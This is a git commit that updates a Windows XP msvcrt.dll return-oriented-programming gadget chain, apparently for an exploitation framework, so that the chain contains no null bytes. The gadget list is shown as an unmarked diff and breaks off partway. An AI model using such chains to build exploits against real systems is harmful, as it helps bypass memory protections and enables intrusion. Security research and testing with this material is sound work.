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Update Win XP msvcrt.dll ROP 

This updated ROP chain for msvcrt.dll does not have any null bytes.
bug/bundler_fix
sinn3r 2013-10-01 15:00:43 -05:00
parent 9abf727fa6
commit 14d99ffbdb
1 changed files with 13 additions and 4 deletions
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17
data/ropdb/msvcrt.xml
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@ -7,12 +7,21 @@
</compatibility>
<gadgets base="0x77c10000">
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
<gadget value="0xFFFFFBFF">0xFFFFFBFF -> ebx</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>